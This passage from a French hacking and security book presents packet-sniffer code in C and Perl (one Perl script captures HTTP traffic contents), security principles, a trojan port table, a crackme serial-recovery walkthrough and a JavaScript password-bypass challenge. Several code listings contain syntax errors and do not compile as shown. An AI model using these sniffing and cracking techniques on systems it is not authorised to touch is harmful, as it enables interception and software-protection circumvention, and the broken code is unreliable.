getprotobyname() et getprotobynumber().
$proto = getprotobyname($sv_proto);
if(!$proto)
{
$proto = getprotobynumber($sv_proto);
}
Et pour dterminer le port du serveur auquel le client doit se connecter.
$port = $sv_port;
if(!port)
{
$port = getservbyname($sv_port, $proto);
}
Quand tout est prt, on cr un socket.
socket(SERV_SOCK, PF_INET, SOCK_DGRAM, $proto) || die "Probleme de
socket:$!\n";
Pour finir, on code ce pourquoi le serveur a t cr.

225

while(<>)
{
(Ici ce pour quoi le client a t programm. ATTENTION, on envoie et reoit des
donnes l'
aide des fonction send() et recv())
}

226

227

sniffers
Un sniffer est un logiciel qui va capturer les paquets rseaux passant par linterface
rseau choisie.
Il existe pleins de sniffers tlcharger sur internet ou acheter mais ce chapitre vous
propose de dvelopper votre sniffer laide du language C et Perl.
Pour le language C, il faudra aussi packet.dll fournit avec la SDK de winpcap, si vous
voulez utiliser le sniffer sous windows.
Bon, voici le code source :
include <stdlib.h>
include <stdio.h>
include <pcap.h>
int main()
{
char erreur[PCAP_ERRBUF_SIZE];
pcap_t *paq;
char dev;
struct pcap_pkthdr head;
const unsigned char *paquet;
int a,b;
struct ether_header *header;
s = sizeof(struct ether_header);
bpf_u_int32 adr, masque;
dev = pcap_lookupdev(erreur);
paq = pcap_open_live(dev,1500,1,1000,erreur);
if(!paq)
{
printf("Problmes lors de l'
ouverture du descripteur de paquets\n");
return -1;
}
pcap_lookupnet(dev,&adr,&masque,erreur);
if(adr)
{
printf("Voici l'
adresse de l'
interface par dfaut: %x\n",adr);
}

228

if(masque)
{
printf("Voici le masque de rseau de l'
interface par dfaut: %x\n",masque);
}
printf("Voici les paquets sniffs\n");
while(1)
{
paquet = pcap_next(paq,&head);
if(head.caplen < s) continue;
header = (struct ether_header *)paquet;
for(a=0; a<ETH_ALEN; a++)
printf("%s%02x",a==0 ? "" : ":",header->ether_shost[a]);
for(a=0; a<ETH_ALEN; a++)
printf("--->%s%02x",a==0 ? "" : ":",header->ether_dhost[a]);
printf("Le paquet sniff est de type: %d\n",header->ether_type);
}
}
En premier, on commence par inclure les fichiers den-ttes.
include <stdlib.h>
include <stdio.h>
include <pcap.h>
Ensuite, on dbute la boucle principale et on dclare les variables et structures qui
seront utilises dans le programme.
int main()
{
char erreur[PCAP_ERRBUF_SIZE]; /* Cest ici que sont situes les erreurs.
PCAP_ERRBUF_SIZE est la taille de ce
buffer et est dfini das pcap.h.*/
pcap_t *paq; /* Cest le descripteur de paquets utilis par pcap_open_live*/
char dev;
/* Cest ici que sera stock linterface par dfaut */
struct pcap_pkthdr head; /* Cest une structure qui contient les en-ttes de paquets */
const unsigned char *paquet; /* Cest ici que sera contenu le paquet captur */
int a,b;
/* Ce sont des variables tests et sans importances */
struct ether_header *header; /* Cest une structure qui contient les
en-ttes des paquets ethernet */
s = sizeof(struct ether_header); /* Cest la taille des en-ttes ethernet */

229

bpf_u_int32 adr, masque; /* Ce sont des entiers spciaux qui sont remplis par la
fonction pcap_lookupnet */
La premire fonction retourne le nom dune interface rseau pouvant tre utilise par
pcap_open_live.
dev = pcap_lookupdev(erreur);
La suivante permet dobtenir un descripteur de paquets pour pouvoir capturer les
paquets passant sur le rseau.
paq = pcap_open_live(dev,1500,1,1000,erreur);
Le premier if permet de tester la russite ou non de pcap_open_live().
if(!paq)
{
printf("Problmes lors de l'
ouverture du descripteur de paquets\n");
return -1;
}
La fonction suivante permet dobtenir ladresse rseau et le masque de rseau de
linterface rseau choisie. On retrouve nos variables spciales qui ne doivent pas
avoir de valeurs avant dtre passes en arguments la fonction.
pcap_lookupnet(dev,&adr,&masque,erreur);
Les if suivant testent la russite de pcap_lookupnet et retournent les informations
que contiennent les 2 variables spciales.
if(adr)
{
printf("Voici l'
adresse de l'
interface par dfaut: %x\n",adr);
}
if(masque)
{
printf("Voici le masque de rseau de l'
interface par dfaut: %x\n",masque);
}
Pour traiter les paquets circulant sur le rseau, on ouvre une boucle infinie.
while(1)
{
Puis on utilise la fonction pcap_next() pour capturer un paquet.
paquet = pcap_next(paq,&head);

230

Et on affiche les informations du paquets pour quelles soient vues par lutilisateur.
if(head.caplen < s) continue;
header = (struct ether_header *)paquet;
for(a=0; a<ETH_ALEN; a++)
printf("%s%02x",a==0 ? "" : ":",header->ether_shost[a]);
for(a=0; a<ETH_ALEN; a++)
printf("--->%s%02x",a==0 ? "" : ":",header->ether_dhost[a]);

printf("Le paquet sniff est de type: %d\n",header->ether_type);


}

Voici, on vient de dvelopper un sniffer basic mais qui, normalement, marche. Pour
lamliorer, on pourrait ajouter un code qui afficherait les statistiques de capture des
paquets.
De plus on a pas dot le sniffer dune fonction arrtant la capture.
Maintenant, on va voir 2 sniffers diffrents, programms en Perl. Ils ne seront pas
comments et vous aurez comme exercice de le faire partir de tout ce quon a vu
dans ce livre. Aprs cela, vous serez mme de dvelopper vos propres sniffers en C,
en Perl et dans dautres languages car vous aurez compris comment les sniifers
fonctionnent.

1er sniffer :
use strict;
use English;
use ExtUtils::testlib;
use Net::Pcap;
//---------------------------dclarations---------------------------------//
my($dev, $pcap_t, $pcap_dumper_t, $err, $filter, $strf, $mask, $net, $res, $paq,
$lnet);
my $dumpfile = "-";
//---------------------------ici, c'
est une routine--------------------------------//
sub process_pkt {
my($user, $hdr, $pkt) = @_;

231

if (($user ne "khaalel") or !defined($hdr) or !defined($pkt)) {


print("Problme avec Les arguments passs la fonction\n");
print("Problme avec les donnes de l'
utilisateur\n") if ($user ne "khaalel");
print("Problme avec les en-ttes du paquet\n") unless (defined($hdr));
print("Problme avec les donnes du paquet\n") unless (defined($pkt));
exit 0;
}
Net::Pcap::dump($pcap_dumper_t, $hdr, $pkt);
}
//----------------------le dbut: des trucs de rseau-----------------------------------//
print("Quel est le protocole dont vous voulez sniffer les paquets?\nVous avez le choix
entre tcp, ip et udp\n");
$strf = <STDIN>
$dev = Net::Pcap::lookupdev(\$err);
$lnet = Net::Pcap::lookupnet($dev, \$net, \$mask, \$err);
if (lnet = = 0) {
print("Voici quelques informations sur votre interface rseau\n");
print("Voici l'
adresse de l'
interface rseau: $net\n");
print("Voici l'
adresse du masque de rseau: $mask\n);
} else {
print("Erreur avec Net::Pcap::lookupnet\n);
}
$pcap_t = Net::Pcap::open_live($dev, 1500, 1, 0, \$err);
unles (defined($pcap_t)) {
print("Erreur de Net::Pcap::open_live\n");
exit 0;
}
$res = Net::Pcap::compile($pcap_t, \$filter, $strf, 0, $mask);
if ($result = = -1) {
print("Erreur avec Net::Pcap::compile\n");
exit 0;
}
$res = Net::Pcap::setfilter($pcap_t, $filter);
if ($result = = -1) {
print("Erreur avec Net::Pcap::setfilter\n");
exit 0;

232

}
//--------------------on chope les paquets------------------------//
while ($paq = Net::Pcap::next($pcap_t, \%hdr)) {
$pcap_dumper_t = Net::Pcap::dump_open($pcap_t, $dumpfile);
unless (defined($pcap_dumper_t)) {
print("Erreur avec Net::Pcap::dump_open\n");
exit 0;
}
Net::Pcap::loop($pcap_t, -1, \&process_pkt, "khaalel");
Net::Pcap::dump_close($pcap_dumper_t);
}
Net::Pcap::close($pcap_t);

2me sniffer :
use Net::RawIP;
use Socket;
$a = new Net::RawIP;
$pcap = $a->pcapinit("eth0",
"proto \\tcp and ( dst port 80 or dst port 8080)",1500,30);
loop $pcap,-1,\&dumpit,\@a;
sub dumpit {
$a->bset(substr($_[2],14));
($ipsrc,$ipdst,$source,$dest,$data) = $a->get(
{ ip=>[qw(saddr daddr)],
tcp=>[qw(data source dest)]}
);
print inet_ntoa(pack("N",$ipsrc))," [$source] -> ",
inet_ntoa(pack("N",$ipdst))." [$dest]\n";
print "$data"\n";
};

233

234

Partie V :
Annexes

235

Cette dernire partie a en mme temps un rle de conclusion (avec le chapitre sur les
principes importants de scurit) mais introduit aussi de nouvelles notions que vous
pourrez completer avec dautres livres traitant des sujets prsents.

236

237

Principes de scurit
Dans ce chapitre, nous allons voir ensemble comment minimiser les problmes dues
aux pirates informatiques. Nous allons dans un premier temps voir les traces que nous
laissons derrire nous aprs avoir surf sur internet et comment les enlever, puis nous
allons voir 2 types d'
attaques pouvant tre portes envers les navigateurs. Dans un
deuxme temps, nous allons voir comment se scuriser en local grce des IDS, des
firewall, des antivirus, et des architectures rseau scurises
Pour finir, nous allons voir comment mener une bonne politique de scurit, aussi
bien en entreprise, en petit rseau local ou en famille. Ce chapitre est compltement et
totalement orient scurit des systmes et des personnes.

traces du Web :
les traces locales :
adresses des sites visits :
Elles sont contenus dans la barre dadresses et permettent de retourner sur un
site sans retaper son adresse.
Pour visiter un site sans que ladresse ne figure dans la barre dadresse, il vous
faut aller sur ce site laide de Ouvrir du menu Fichier.
Pour effacer les adresses contenues dans la barre droulante de la barre
dadresses, il vous suffit daller dans Outils/Options Internet/Contenu/Saisie
semi-automatique et deffacer les formulaires et mots de passe.

238

239

lhistorique :
Il permet de retourner rapidement sur des sites dj visits. Mais vous ne
voudriez pas que ceux qui partagent votre PC accdent lhistorique et encore
moins au sites que vous avez visits.
Pour supprimer les informations contenues dans lhistorique, il vous suffit de
cliquer sur le bouton Effacer lhistorique dans longlet Gnral des Options
dinternet (de la mme faon avec Netscape Communicator).

240

le cache :
Cest une zone qui permet de ne pas recharger toutes les pages dun site
chaque visite. Le problme est que lon peut y accder, donc savoir tout ce que
vous avez vu pendant votre temps pass sur internet.
Pour supprimer le cache, vous devez cliquer sur le bouton Supprimer les
fichiers dans longlet Gnral des Options dinternet. (Avec Netscape
Communicator, vous devez aller dans la catgories Avances, slectionner la
section Cache et cliquer sur le bouton Vider le cache sur disque) Vous pouvez
aussi redfinir la taille pour le stockage du cache (en le mettant 1ko par
exemple).

241

242

les traces stockes distance :


Les fichiers stockant des informations sur les visiteurs dun site ou dun serveur
sont appels fichiers logs (les pirates reconnatront ici les fichiers qui enregistrent
leurs activits sur un systme et quils doivent absolument effacer).
Il y a les logs (qui enregistrent les accs des ressources ou services), les logs
referer (qui enregistrent ladresse de la page sur laquelle on tait avant de se retrouver
sur le serveur courant), les logs agents (qui enregistrent les navigateurs visitant le
serveur)

Parades :
Utiliser des serveurs proxys, ou passer par des services danonymat proposs par des
sites comme anonymizer.com.

Maintenant, voyons deux types de failles gnriques pouvant porter atteinte


l'
intgrit et la confidentialit des informations stockes sur vos systmes.
On va parler des technologies permettant de dcouvrir ou crer des failles dans les
navigateurs, on ne parlera pas des failles spcifiques comme lattaque du Cache
Cow
La suite pourra donner des ides aux hackers qui recherchent des failles sur les
systmes ou aux concepteurs de navigateurs dans le but de scuriser leurs
programmes.

les attaques par dni de services (attaques DoS) :


On peut exploiter ces failles grce du javascript (que lon placera sur une page
web) qui pourrait par exemple ouvrir des centaines de pages et la seule manire de
les enlever serait de redmarrer sa machine.
Rfrez-vous au chapitre sur les attaques de refus de services pour avoir dautres
ides dattaques.

les atteintes la confidentialit :


ActiveX, cette magnifique (ces crateurs, dont je ne donnerai pas le nom,
devraient se cacher) technologie, est un outils double tranchant car il permet de

243

contourner des scurits et daccder des rpertoires ou fichiers des internautes


visitant la page ou est plac cet lment dangereux.
Le javascript, permet aussi daccder des fichiers personnels des internautes
visitant la page ou est plac le script malsain.

Parades :
Vous ne devez visiter que les sites de confiance et mettre jour rgulirement votre
navigateur laide des patchs des diteurs. Vous pouvez aussi reconfigurer les
paramtres de votre navigateur en dsactivant le Java et le Javascript et installer un
firewall sur votre ordinateur (comme Zone Alarm).

scuriser son systme :


Dans cette partie, nous allons voir les diffrentes technologies nous permettant de
protger nos systmes contre les agressions pouvant se passer par le biais d'
internet.
Ces technologies sont les antivirus, les firewalls, les IDS, les architectures rseau
scurises, les serveurs proxys, le NAT, SSH, PGP, et les protocoles
d'
authentification scurises.

les antivirus :
Les antivirus sont des logiciels qui servent dtecter les virus, chevaux de trois, et
autres fichiers infectant et infects. Il existe plusieurs types d'
antivirus avec leurs
mthodes spcifiques pour radiquer les virus (pour plus informations, rfrez-vous
au chapitre sur la lutte anti-virale) .
Voici une liste de certains antivirus :
Panda Antivirus

244

VirusScan de McAfee
Antivirus Kapersky
Norton Antivirus
OpenAntivirus ( pour les systmes UNIX/LINUX )
Antivir

les firewalls :
(cf le chapitre sur les murs par-feu et leur contournement)
Voici diffrentes firewall aussi bien gratuit que commerciaux :
Norton Firewall
McAfee Personal Antivirus
ZoneAlarm

245

les IDS :
(cf le chapitre sur les IDS pour savoir quoi ils servent et comment il fonctionne) .
Voici une liste dIDS :
Snort
Guard de ISS
Cisco Secure IDS de CISCO SYSTEMS
Dragon Squire de INTERASYS NETWORK

architectures rseaux scurises :


La scurit d'
un rseau passe aussi par une bonne gestion de la disposition des
systmes dans ce dernier.
Vous devez attentivement et soigneusement dfinir l'
architecture finale du rseau.
Une architecture scurise ne veut pas dire une architecture n'
ayant aucune
faille/vulnrabilit. Vous devez bien sr configurer et patcher vos systmes comme il
le faut, sinon, aussi scurise qu'
elle soit, l'
architecture de votre rseau ne repoussera
pas les attaques de bons pirates.
Les diffrentes architectures expliques ici sont base sur la construction dune DMZ
(zone dmilitarise). Ce sera la seule zone ouverte internet: elle va contenir tous les
lments utilisant internet dans leurs fonctionnements ou proposant des services sur le

246

net (comme les serveurs Web, FTP, mail) et elle va adopter des stratgies de
dfense visant diminuer les possibilits d'
attaque.
Les diffrentes architectures ont aussi pour but de fournir l'
entreprise les services
d'
internet (comme faire un site dans le but de laisser sa trace sur la toile) sans pour
autant laisser les systmes du rseau priv de l'
entreprise accder internet. Si vous
voulez que tous les systmes du rseau de l'
entreprise puisse accder Internet, vous
pouvez utiliser la technologie NAT ou NPAT en plus de la DMZ ou sans cette
dernire. Nous verrons en dernier les possibilits offertes par NAT et NPAT.
Avant de continuer, ce prsent chapitre a seulement pour but de vous informer sur le
comment de la mise en place d'
un rseau scuris, cela ne vous dispense en aucun cas
de faire appel un ingnieur rseau et systme qui vous mettra votre rseau en place
car premirement ce dernier a fait des tudes dans ce domaine donc est plus
comptent que tout patron ou autres personnes voulant mettre en place le rseau,
deuximement, il sera le seul pouvoir ragir spontanment lors de problmes dans la
mise en place du rseau (aussi bien des problmes d'
espace que de temps).
une DMZ classique :
Placez d'
un ct le rseau interne, de l'
autre ct votre accs internet, mais ne les
reliez pas encore.
Entre ces deux parties, mettez deux systmes de filtrage de paquets (firewall/routeur).
Maintenant, placez entre ces deux systmes de filtrage, tous les systmes utilisant
internet pour fonctionner.
Pour finir, vous allez devoir configurer le systme de filtrage connectant la DMZ
internet de sorte qu'
il naccepte que les paquets en direction d'
lments tant dans la
DMZ donc tous les paquets en direction dun systme se situant dans le rseau priv
doivent tre dtruits, journaliss
Vous pouvez configurer le systme de filtrage connectant la DMZ au rseau priv
comme vous le voulez.
une DMZ un peu plus volu :
Cette architecture est semblable une DMZ classique, la seule diffrence est que l'
on
va utiliser ce que l'
on appelle une bascule de protocole : cest--dire que la DMZ
ne va pas utiliser la pile de protocole TCP/IP. Elle va utiliser un autre protocole entre
les deux systmes de filtrage ou de routage.
Vous pouvez aussi faire du tunneling ou crer votre propre protocole scuris.
NAT et NPAT :
NAT (Network Adress Translation) est un systme qui permet d'
attribuer une adresse
publique (du Net) chaque adresse prive du rseau.

247

NPAT (Network Port Adress Translation) est un systme qui permet d'
attribuer une
adresse publique pour toutes les adresses prives du rseau.
Ces deux systmes sont la fois des solutions pour des ventuels problmes
d'
adressage mais aussi des solutions pour scuriser son rseau priv car lorsque un
pirate se trouvera en face d'
un rseau utilisant NAT/NPAT, il verra seulement, lors de
son scan, une seule machine (ayant ladresse IP public) et ne se doutera peut-tre pas
qu'
elle cache un rseau.
Certains diront : oui, ces technologies sont superbes mais cela implique de
concentrer tous les services sur une seule machine !
Et bien non, il suffit de configurer la machine (qui serait soit un routeur, soit un
firewall) de sorte que toutes les requtes en direction d'
un port spcifi soit rediriges
vers le systme qui s'
occupe de traiter les requtes ont rediriges.
Cela s'
appelle le Port Forwarding.

la politique de scurit :
Une bonne scurit passe par une bonne gestion du parc informatique, par des mis
jour frquentes des logiciels, base de donnes, mais aussi par des audits des systmes
et logiciels du rseau et par une sensibilisation des personnes de l'
entreprise ou de la
famille.

audits :
Arriv ce stade du livre, nous sommes maintenant capables de dcouvrir des
vulnrabilits/failles d'
un rseau ou de logiciels en nous aidant de scanners de
vulnrabilit comme nmap, SATAN, SAINT, Whisker, Nessus
Lorsquune machine a t pirate, analysez immdiatement les fichiers logs dans le
but dtablir une feuille dtat. Cette feuille devra principalement contenir:
- les accs rseaux au systme ayant ou non russis.
- les accs locaux des fichiers locaux ayant ou non russis.
- les divers vnements (programmes lancs, plantages) tant
survenus sur le systme.
- tous les comptes du systme avec leur UID, les dates et heures
de connexion des utilisateurs

sensibilisation :

248

Cette tape est trs importante car certains pirates vont prfrer s'
attaquer des
systmes en passant par les utilisateurs grce des techniques comme le social
engineering
C'
est pour cela quil faut organiser des confrences de sensibilisation o l'
on
expliquera aux utilisateurs (employs, amis, famille) de ne pas ouvrir n'
importe
quel message contenant ou non des pices jointes, de ne pas donner n'
importe quelles
informations des personnes (que ce soit au tlphone, dans un mail), de contacter
l'
administrateur rseau ds quils dtectent une erreur ou un comportement douteux
d'
un logiciel ou d'
un systme, de changer rgulirement de mot de passe, et le plus
important qui est de ne pas choisir des mots de passe trop vident.
Ce chapitre a prsent quelques points importants dans la mise en place de systmes,
de politiques de protection de la confidentialit, de l'
intgrit des rseaux et systmes
d'
informations.
Pour avoir de meilleurs conseils, vous devez collecter des informations rgulirement
mises jour en rapport vos activits dans le rseau (veille, l'
administration du parc
informatique, scurit) l'
aide de newsletters, de moteurs de recherche, d agents
intelligents, de journaux/magazines (comme le MISC, le The Hackademy Journal)

249

250

Les commandes DOS


cd..

Permet de revenir au rpertoire


prcdant.
Permet de se rendre au rpertoire racine.
Permet de se rendre dans un sousrpertoire.
Donne lutilisateur le choix entre des
propositions.
Permet deffacer lcran DOS.
Permet de copier un fichier dans un
dossier.
Permet de dconnecter le clavier et
lcran du DOS
La clbre commande qui nest plus
prsenter.
Permet de supprimer un fichier.
Permet dafficher le contenu dun
rpertoire en plusieurs fois.
Permet dafficher le contenu dun
rpertoire.
Permet de voir les fichiers commenant
par la lettre passe en argument.
Permet de voir les fichiers dun lecteur.
Permet de copier des disquettes.
Permet de cacher les commandes qui
suivent aux yeux de lutilisateur.
Permet de sauter une ligne.
Permet dditer un fichier et de
lafficher.
Permet de supprimer un fichier.
ATTENTION, cette commande est
dangereuse car elle supprime le fichier
sans demander laccord de lutilisateur.
Permet de crer et de supprimer des
partitions disques.
Permet de formater un lecteur
quelconque.
Permet
Permet deffectuer un branchement
direct.
Permet deffectuer un branchement
conditionnel.

cd \
cd [rpertoire]
choice
cls
copy [fichier] [rpertoire]
ctty
debug
del [fichier]
dir /p
dir [rpertoire]
dir [lettre]*
dir [lecteur]
diskcopy [lecteur1] [lecteur2]
@echo off [commande]
Echo.
Edit [texte]
Erase [ficher]

fdisk
Format [lecteur]
F3
goto
if

251

mem
mkdir [rpertoire]
pause

Permet dafficher lespace disque


Permet de crer un rpertoire.
Permet de stopper un programme le
temps que lutilisateur appuie sur une
touche pour le continuer.
Permet de supprimer tous les fichiers et
rpertoires du disque dur. ATTENTION,
cette commande est dangereuse car elle
ne demande pas la confirmation de
lutilisateur.
Permet de modifier lextension dun
fichier.
Permet de renommer un fichier.
Permet deffacer un rpertoire.
Permet dafficher le contenu dun fichier
texte.
Permet de connatre le version du DOS.
Permet de connatre le nom dun lecteur.
Permet dobtenir le contenu dun
rpertoire. Par mesure de scurit, une
autorisation est demande.
Comme le prcdant sauf quil naffiche
que les fichiers ayant une certaine
extension.

recover

ren [fichier].[nouvelle_extension]
rename [ancien] [nouveau]
rmdir [rpertoire]
type [fichier_txt]
ver
vol [lecteur]
C:\Windows\\*.*
C:\Windows\\*.[extension]

252

253

Ports utiliss par certains troyens

Port utilis

Le cheval de troie

19

Chargen

21

Blade Runner
Invisible FTP
Net Administrator

31

Hackers Paradise
Masters Paradise

41

DeepThroat

80

RingZero

99

Hidden Port

113

Invisible Identd Deamon


Kazimas

119

Happy 99

121

JammerKillah

123

Net Controller

146

Infector

170

A-trojan

421

TCP Wrappers

456

Hackers Paradise

555

NetAdministrator
Phase Zero

666

Attack FTP
Back Construction

669

DP Trojan

911

Dark Shadow

999

DeepThroat

1000

Der Spacher 3

1001

Silencer

1010

Doly Trojan

1011

Doly Trojan

1012

Doly Trojan

1015

Doly Trojan

1016

Doly Trojan

254

1020

Vampire

1024

NetSpy

1025

Maverick'
s Matrix

1033

ICQ Trojan

1045

Rasmin

1050

MiniCommand

1080

WinHole

1081

WinHole

1082

WinHole

1083

WinHole

1099

Bfevolution
RAT

1170

Psyber Stream Server


Streaming Audio trojan
Voice

1200

NoBackO

1201

NoBackO

1207

SoftWAR

1212

Kaos

1225

Scarab

1234

Ultors Trojan

1243

BackDoor-G
SubSeven
SubSeven Apocalypse

1255

Scarab

1257

Sub Seven 2.1

1349

BO DLL

1394

BackDoor

1492

FTP99CMP

1524

Trinoo

1600

Shivka-Burka

1777

Scarab

1807

SpySender

1966

Fake FTP

1969

OpC BO

1981

Shockrave

1999

BackDoor
TransScout

255

2140

Deep Throat, The Invasor

2155

Illusion Mailer

2565

Striker

2583

WinCrash

2600

Digital RootBeer

2716

The Prayer

2721

Phase Zero

2773

SubSeven

3128

RingZero

3129

Masters Paradise

3150

Deep Throat

3456

Teror Trojan

3459

Eclipse 2000
Sanctuary

3700

Portal of Doom

3791

Eclypse

3801

Eclypse

4000

Skydance

4092

WinCrash

4242

Virtual hacking Machine

4444

Prosiak

4590

ICQTrojan

5000

Sockets de Troie

5001

Sockets de Troie

5032

NetMetropolitan

5321

Firehotcker

5343

wCrat

5400

Blade Runner
Back Construction

5401

Blade Runner
Back Construction

5402

Blade Runner
Back Construction

5521

Illusion Mailer

5550

X-Tcp Trojan

5555

ServeMe

5556

BO Facil

256

5557

BO Facil

5569

Robo-Hack

5637

PC Crasher

5638

PC Crasher

5666

PC Crasher

5742

WinCrash

5888

Y3K RAT

6000

The Thing

6272

Secret Service

6400

The Thing

6667

Schedule Agent

6669

Host Control

6670

DeepThroat
WinNuke eXtreame

6711

SubSeven

6712

Funny Trojan
SubSeven

6713

SubSeven

6723

Mstream

6771

DeepThroat

6776

2000 Cracks
SubSeven

6838

Mstream

6912

Shit Heep

6939

Indoctrination

6969

NetController

6970

GateCrasher

7000

Remote Grab
SubSeven

7001

Freak88

7215

SubSeven

7300

NetMonitor

7301

NetMonitor

7302

NetMonitor

7303

NetMonitor

7304

NetMonitor

7305

NetMonitor

257

7306

NetMonitor

7307

NetMonitor

7308

NetMonitor

7309

NetMonitor

7323

Sygate Backdoor

7424

Host Control

7424

Host Control

7789

Back Door Setup


ICKiller

7983

Mstream

8080

RingZero

8787

Back Orifice 2000

8897

HackOffice

8988

BacHack

8989

Rcon

9000

Netministrator

9325

Mstream

9400

InCommand

9872

Portal of Doom

9876

Cyber Attacker, RUX

9999

The Prayer

10067

Portal of Doom

10085

Syphillis

10086

Syphillis

10101

BrainSpy

10167

Portal of Doom

10498

Handler to Agent

10528

Host Control

10520

Acid Shivers

10607

Coma

10666

Ambush

11000

Senna Spy

11051

Host Control

11223

Progenic trojan

12076

Gjamer

12223

Hack99 KeyLogger

258

12345

NetBus
Pie Bill Gates

12346

NetBus

12349

BioNet

12361

Whack-a-mole

12456

NetBus

12623

DUN Control

12624

Buttman

12631

WhackJob

12701

Eclipse 2000

13000

Senna Spy

13010

Hacker Brazil

15092

Host Control

16484

Mosucker

16772

ICQ Revenge

16969

Priority

17166

Mosaic

17300

Kuang2 The Virus

17777

Nephron

18753

Shaft

19864

ICQ Revenge

20000

Millennium

20034

NetBus 2 Pro

20203

Chupacabra

20331

Bla

20433

Shaft Agent to handler(s)

21544

GirlFriend

21554

GirlFriend

22222

Prosiak

23023

Logged

23432

Asylum

23456

Evil FTP
Ugly FTP

26274

Delta Source

26681

Spy Voice

27374

SubSeven

27444

Trinoo

259

27573

SubSeven

27665

Trinoo

29104

Host Control

30029

AOL Trojan

30100

NetSphere

30101

NetSphere

30102

NetSphere

30103

NetSphere

30103

NetSphere

30133

NetSphere

30303

Sockets de Troie

30947

Intruse

30999

Kuang2

31335

Trinoo

31336

Bo Whack
ButtFunnel

31337

BO client
BO2

31337

BackFire
Back Orifice,

31338

NetSpy DK

31338

Back Orifice
DeepBO

31339

NetSpy DK

31666

BOWhack

31785

HackaTack

31787

HackaTack

31788

HackaTack

31789

HackaTack

31790

HackaTack

31791

HackaTack

31792

HackaTack

32100

Project nEXT

32418

Acid Battery

33577

PsychWard

34555

Trinoo (Windows)

35555

Trinoo (Windows)

260

37651

YAT

40412

The Spy

40421

Masters Paradise

40422

Masters Paradise

40423

Masters Paradise

40425

Masters Paradise

40426

Masters Paradise

41666

Remote Boot

41666

Remote Boot

44444

Prosiak

47252

Delta Source

49301

Online KeyLogger

50505

Sockets de Troie

50766

Fore

50776

Fore

54320

Back Orifice 2000

54321

School Bus

54321

Back Orifice 2000

60000

Deep Throat

61348

Bunker-Hill

63485

Bunker-Hill

65000

Devil

65432

The Traitor

261

262

Cracking dune application


Alors, nous allons, dans cette annexe, mettre en pratique ce que nous avons appris
dans le chapitre consacr au piratage logiciel. De plus, nous allons apprendre nous
servir dun dsassembleur (W32Dasm) avec un crackme.
Je ne me souviens plus o jai tlcharg ce crackme car je lai retrouv il y a deux
semaines dans un de mes dossiers alors que je recherchais un fichier.
Bon, commenons par analyser cette mini-application.

Alors, quand on la lance, elle nous demande dentrer un nom et un numro de srie.
Quand on essaie de valider un faux nom et un faux numro de srie, elle nous
affichent :

Dans un premier temps, dsassemblons le crackme, laide de W32Dasm. Nous


obtenons un listing ASM de 33 pages.
Maintenant, analysons les donnes que lon a pour pouvoir cracker cette application.
Nous avons, ce que lon appelle des labels (Name, Serial, ERROR et One of
the Details you entered was wrong). Le plus important ici est le message
derreur (le dernier label).
A laide de W32Dasm, rendons-nous dans ce que lon appelle les String data
reference .

263

Dans la nouvelle fentre qui souvre, double cliquez sur le message derreur One of
the Details you entered was wrong.
Ceci devrait nous amener lendroit o il est utilis dans le code source (soit cette
ligne :
:0040153D 6838304000 push 00403038.)
Pour comprendre comment nous arrivons ce message derreur, il va falloir remonter
de quelques lignes dans le code source.

264

Dans ce code, nous apercevons certaines instructions qui font des comparaisons et des
sauts conditionnels.
:0040150C
:00401511
:00401513
:00401516
:00401518
:0040151C
:0040151E
:00401522
:00401524
:00401528
:0040152A
:0040152E
:00401530
:00401534

E833030000
8B07
803836
751E
80780132
7518
80780238
7512
80780337
750C
8078042D
7506
80780541
7417

Call 00401844
mov eax, dword ptr [edi]
cmp byte ptr [eax], 36
jne 00401536
cmp byte ptr [eax+01],
jne 00401536
cmp byte ptr [eax+02],
jne 00401536
cmp byte ptr [eax+03],
jne 00401536
cmp byte ptr [eax+04],
jne 00401536
cmp byte ptr [eax+05],
je 0040154D

32
38
37
2D
41

Puis nous voyons que nous arrivons au message derreur partir de plusieurs
rfrences (dont les adresses sont celles des sauts conditionnels).

265

* Referenced by a (U)nconditional or (C)onditional Jump at


Addresses:
|:004014E4(C), :004014F3(C), :00401516(C),
:0040151C(C),:00401522(C)
|:00401528(C), :0040152E(C)

L, pas de doute, nous sommes arrivs au moment o le programme va comparer le


numro de srie fournit par lutilisateur et le comparer au bon numro de srie.
Arriv ce stade, nous avons 2 choix : soit nous prenons un dbogueur et nous
explorons le registre eax (car daprs le dsassembleur le programme enregistre le
numro de srie dans ce registre), soit nous continuons avec W32Dasm et nous
voyons avec quoi le programme compare le numro de srie fournit avec lutilisateur
(avec de la chance il le compare avec chaque octet du bon numro de srie).
Pour ne pas se surcharger de logiciels, continuons avec W32Dasm.
Les octets que lon va analyser sont : 32, 36, 38, 37, 2D, 41. Comme les
dsassembleurs traitent les informations en hexadcimal, nous allons convertir chacun
de ces octets. Ce qui nous donne : 6287-A.
Dans le reste du code, je nai rien trouv dintressant au sujet du nom quil fallait
fournir, jai donc dcider den fournir un au hasard, et jai t surpris quand jai vu
que ce crackme acceptait nimporte quel nom.
Nous venons de dcouvrir le nom et le numro de srie dune application, voici ce
que cette dernire nous dit quand on entre ces nouvelles donnes.

Ce tutorial sur le cracking avait pour but de vous montrer comment il tait possible de
patcher un programme. Bien sr, cest un challenge simple russir mais qui est
intressant pour une initiation.

266

267

Tests de cracking de mots de passe Web


Cette annexe vient complter le chapitre sur le piratage du web. Elle est totalement
oriente pratique car nous allons faire des challenge de cracking. Ces challenges vont
consister retrouver des mots de passe pour russir passer des systmes
dauthentification.

1re protection javascript


Voici le challenge :

Lorsque lon est en face de protection par mot de passe utilisant le javascript, il faut,
en premier, aller voir le code source de la page (grce Affichage/Source) et
lanalyser car la plupart du temps le dveloppeur y a insr les informations de
connexion (dans le code en javascript, pour plus de prcision).
Voici le code source de la page:
<html>
<head>
<title>Authentification</title>

268

<meta name="generator" content="Namo WebEditor v5.0">


</head>
<body bgcolor="white" text="black" link="blue" vlink="purple"
alink="red">
</td>
<td width="10" rowspan="2">&nbsp;</td>
<td width="600" rowspan="2" valign="top" bgcolor="#99CCFF"><center>
<p>&nbsp;</p>
</center><br>
<DIV><script language="javascript">
<!--//
function chekunr(form) {
if (form.id.value=="admin") {
if (form.pass.value=="khaalel") {
location="administration.html"
} else {
alert("Erreur de mot de passe")
}
} else { alert("Erreur de login")
}
}
//-->
</script>
<center>
<table bgcolor="white" cellpadding="12" border="1">
<tr><td
colspan="2"><center><h1><i><b>Identification</b></i></h1></center><
/td></tr>
<tr><td><h1><i><b>Login:</b></i></h1></td><td><form
name="login"><input
name="id" type="text">
</form>
</td></tr>
<tr><td><h1><i><b>Password:</b></i></h1></td><td><input name="pass"
type="password"></td></tr>
<tr><td><center><input type="button" value="Login"
